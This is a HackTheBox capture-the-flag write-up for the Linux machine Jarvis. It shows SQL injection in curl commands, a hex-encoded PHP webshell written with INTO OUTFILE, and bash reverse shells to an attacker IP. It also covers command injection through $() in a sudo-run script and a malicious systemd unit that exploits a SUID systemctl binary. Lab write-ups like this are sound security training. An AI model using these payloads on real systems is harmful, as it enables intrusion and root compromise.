HTB: Jarvis Writeup

Jarvis - HackTheBox Writeup

Machine Information

AttributeDetails
NameJarvis
OSLinux
DifficultyMedium
Points30
Release Date22 Jun 2019
IP Address10.129.229.137
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Jarvis is a Medium-rated Linux machine running Apache web services on ports 80 and 64999, both protected by IronWAF 2.0.3 that enforces rate limiting. The initial foothold is gained through manual SQL injection in a vulnerable query parameter, leveraging INTO OUTFILE to write a PHP webshell to the web root. Lateral movement to user pepper exploits incomplete input sanitization in a Python script (simpler.py) that can be executed via sudo, allowing command injection through bash command substitution. Root access is achieved by exploiting an SUID-enabled /bin/systemctl binary, creating a malicious systemd service unit that executes commands as root.

TL;DR: SQL injection → webshell (www-data) → sudo command injection in simpler.py (pepper) → SUID systemctl exploitation → root


Reconnaissance

Port Scanning

Terminal window
# Fast TCP SYN scan across all ports
nmap -p- --min-rate=1000 -T4 10.129.229.137
# Detailed service version and script scan on discovered ports
nmap -sC -sV -p 22,80,64999 10.129.229.137

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))

Service Enumeration

Port 80 - Apache Web Server

The web server hosts “Stark Hotel”, a booking website with multiple pages. Key observations:

  • The site advertises rooms and hotel services
  • A “Rooms” section links to /room-suites.php
  • Clicking “Book now!” navigates to /room.php?cod=<ID> with an integer parameter
  • Aggressive scanning triggers IronWAF 2.0.3, which bans the source IP for approximately 90 seconds

Port 64999 - Secondary Apache Instance

Displays the same “Stark Hotel” content, protected by the same WAF.

Vulnerability Assessment

  1. SQL Injection in /room.php?cod= parameter - Integer-based query parameter vulnerable to UNION-based SQLi
  2. IronWAF Rate Limiting - DoS/brute-force protection requires paced requests to avoid temporary IP bans
  3. MariaDB File Write Privileges - DBadmin user has FILE privilege, enabling INTO OUTFILE writes
  4. Sudo Misconfiguration - www-data can execute /var/www/Admin-Utilities/simpler.py as pepper without password
  5. SUID Systemctl - /bin/systemctl has SUID root permissions (-rwsr-x--- root:pepper)

Initial Foothold

SQL Injection Discovery

The /room.php?cod= parameter accepts an integer to display room details. Testing for SQL injection:

Terminal window
# Test with boolean logic - true clause returns room
curl "http://10.129.229.137/room.php?cod=1%20and%201=1--%20-"
# False clause returns empty response
curl "http://10.129.229.137/room.php?cod=1%20and%201=2--%20-"

Adding a single quote (') causes an error, but the vulnerability exists when treating the parameter as an integer in the SQL query.

Column Enumeration

Determine the number of columns using ORDER BY:

Terminal window
# Test with ORDER BY to find column count
# 7 columns returns data, 8 returns empty - table has 7 columns
curl "http://10.129.229.137/room.php?cod=1%20order%20by%207--%20-"

UNION-Based SQL Injection

With 7 columns identified, inject data into the response:

Terminal window
# Use negative ID to prevent original row from displaying
# Columns 2, 3, 4, 5 are injectable positions in the output
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,2,3,4,5,6,7--%20-"
# Enumerate database information
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,database(),user(),4,5,6,7--%20-"
# Returns: hotel (database), DBadmin@localhost (user)
# Test file read capability
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/passwd'),3,4,5,6,7--%20-"

The DBadmin user in MariaDB has sufficient privileges to read files. Testing file write:

Terminal window
# Verify web root location from Apache config
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/apache2/sites-enabled/000-default.conf'),3,4,5,6,7--%20-"
# DocumentRoot is /var/www/html
# Write /etc/passwd to web root as proof of concept
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/passwd'),3,4,5,6,7%20into%20outfile%20'/var/www/html/test.txt'--%20-"
# Verify file was written
curl "http://10.129.229.137/test.txt"

PHP Webshell Upload

The INTO OUTFILE functionality allows writing arbitrary content to the web root. To bypass potential character encoding issues, use hex encoding for the PHP payload:

Terminal window
# Hex-encode the PHP webshell: <?php system($_REQUEST['cmd']); ?>
# Hex: 0x3c3f70687020737973...
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,0x3c3f7068702073797374656d28245f524551554553545b27636d64275d293b203f3e,3,4,5,6,7%20into%20outfile%20'/var/www/html/j5x.php'--%20-"
# Test RCE
curl "http://10.129.229.137/j5x.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

With confirmed RCE as www-data, establish a reverse shell:

Terminal window
# On attacker machine, start listener on unique port to avoid conflicts
nc -lvnp 47591
# Execute bash reverse shell through webshell
curl "http://10.129.229.137/j5x.php" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.X/47591 0>&1"'

Why this works: The SQL injection vulnerability exists because user input is concatenated directly into a SQL query without proper parameterization. MariaDB’s INTO OUTFILE writes query results to the filesystem when the database user has FILE privileges and the web server has write permissions to the target directory. The hex-encoded payload ensures special characters in the PHP code aren’t misinterpreted during the SQL query execution.


Privilege Escalation

Lateral Movement: www-data → pepper

After gaining a shell as www-data, check sudo privileges:

Terminal window
www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

The www-data user can execute /var/www/Admin-Utilities/simpler.py as pepper without a password. Examining the script:

# Relevant function from simpler.py
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

Vulnerability Analysis: The script blocks several command injection characters (& ; - | || \``), but crucially **does NOT block** $, (, or ). This allows **bash command substitution** using the $(command)syntax. When bash encounters$(…)`, it executes the inner command and substitutes the output into the outer command.

Command Injection Exploitation

# Create reverse shell script in /dev/shm (writable temp location)
www-data@jarvis:/dev/shm$ cat > r.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/47591 0>&1
EOF
www-data@jarvis:/dev/shm$ chmod +x r.sh
# Start listener on attacker machine
nc -lvnp 47591
# Execute simpler.py with command substitution injection
www-data@jarvis:/dev/shm$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
Enter an IP: $(bash /dev/shm/r.sh)

Why this works: When the script executes os.system('ping ' + command), bash interprets $(bash /dev/shm/r.sh) as command substitution. The inner command executes first (launching our reverse shell as pepper), and its output (empty or error) is passed to ping, which fails harmlessly. The shell is already established before ping completes.

The reverse shell connects as user pepper:

Terminal window
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ cat user.txt
<redacted>

Vertical Privilege Escalation: pepper → root

Enumerate SUID binaries to find privilege escalation vectors:

Terminal window
pepper@jarvis:~$ find / -perm -4000 -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl # <-- UNUSUAL: systemctl should NOT be SUID
/bin/umount
/bin/su
...
pepper@jarvis:~$ ls -la /bin/systemctl
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl

Critical Finding: /bin/systemctl has the SUID bit set and is executable by the pepper group. This is highly unusual and dangerous, as systemctl manages system services with root privileges.

SUID Systemctl Exploitation

According to GTFOBins, systemctl can be exploited when SUID by creating a malicious systemd service unit. The systemctl link command allows linking unit files from arbitrary locations (not just /etc/systemd/system/), and systemctl start will execute the service as root.

Terminal window
# Create malicious systemd service unit
pepper@jarvis:/dev/shm$ cat > pwn.service << 'EOF'
[Unit]
Description=Pwn
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cat /root/root.txt > /tmp/root_flag.txt; chmod 644 /tmp/root_flag.txt'
[Install]
WantedBy=multi-user.target
EOF
# Link the service unit (makes it available to systemd)
pepper@jarvis:/dev/shm$ systemctl link /dev/shm/pwn.service
Created symlink /etc/systemd/system/pwn.service /dev/shm/pwn.service.
# Start the service (executes ExecStart as root due to SUID)
pepper@jarvis:/dev/shm$ systemctl start pwn.service
# Retrieve the flag
pepper@jarvis:/dev/shm$ cat /tmp/root_flag.txt
<redacted>

Why this works:

  1. SUID Bit Inheritance: When systemctl runs with SUID root, it retains root privileges throughout its execution
  2. Service Unit Execution: The Type=oneshot service waits for ExecStart to complete before marking the service as active
  3. Root Context: The ExecStart command executes in the root security context because systemctl (running as root) spawns the service process
  4. Arbitrary Command Execution: We control the ExecStart parameter, allowing execution of any command as root

For a full root shell:

Terminal window
# Alternative: Get interactive root shell
pepper@jarvis:/dev/shm$ cat > root.service << 'EOF'
[Unit]
Description=Root Shell
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.X/47592 0>&1'
[Install]
WantedBy=multi-user.target
EOF
# Start listener
nc -lvnp 47592
# Execute
pepper@jarvis:/dev/shm$ systemctl link /dev/shm/root.service
pepper@jarvis:/dev/shm$ systemctl start root.service
# Root shell received
root@jarvis:~# id
uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

Nmap Scan → SQL Injection in /room.php?cod= → INTO OUTFILE PHP Webshell → RCE as www-data →
Sudo simpler.py Command Injection $(bash) → Shell as pepper → SUID /bin/systemctl →
Malicious Systemd Service Unit → Root Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlManual SQL injection and webshell interaction
nc (netcat)Reverse shell listeners
bashShell scripting and command execution
systemctlService management exploitation (SUID)

Key Learnings

Techniques Practiced

  • Manual SQL Injection: Bypassing WAF rate limits through paced requests and manual exploitation
  • MariaDB File Operations: Leveraging LOAD_FILE() and INTO OUTFILE for file read/write
  • Web Shell Deployment: Hex-encoding payloads to avoid character escaping issues
  • Sudo Abuse: Exploiting NOPASSWD sudo permissions with vulnerable scripts
  • Command Injection: Bypassing blacklist filters using bash command substitution ($())
  • SUID Binary Exploitation: Abusing systemctl SUID to execute arbitrary commands as root
  • Systemd Service Units: Creating malicious oneshot services for privilege escalation

Lessons Learned

  1. Input Validation Incompleteness: The simpler.py script demonstrates why blacklist-based filtering is insufficient. While blocking common injection characters (|, ;, &), it missed command substitution syntax. Lesson: Always use whitelist validation and avoid direct command execution with user input.

  2. SQL Parameterization: The SQL injection vulnerability exists because user input is concatenated into queries. Lesson: Always use prepared statements/parameterized queries to prevent SQLi, regardless of input type (integer, string).

  3. FILE Privilege Restriction: The DBadmin MariaDB user had FILE privileges, enabling webshell deployment. Lesson: Database users should follow least privilege principles—web application database accounts rarely need filesystem access.

  4. SUID Binary Auditing: An SUID systemctl binary is extremely dangerous and non-standard. Lesson: Regularly audit SUID/SGID binaries (find / -perm -4000 -o -perm -2000), and remove unnecessary elevation on system management tools.

  5. Defense in Depth: While IronWAF 2.0.3 prevented automated scanning, it didn’t stop manual exploitation. Lesson: WAFs are a layer of defense, not a complete solution—secure coding practices must be the foundation.

  6. Systemd Service Security: User-writable service units with SUID systemctl create a direct path to root. Lesson: Service management tools should never be SUID; use sudo with specific, validated commands if delegation is necessary.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Official HackTheBox Writeup by MinatoTW & Document No D19.100.44 (Classification: Official, 9 September 2019)
  • GTFOBins - systemctl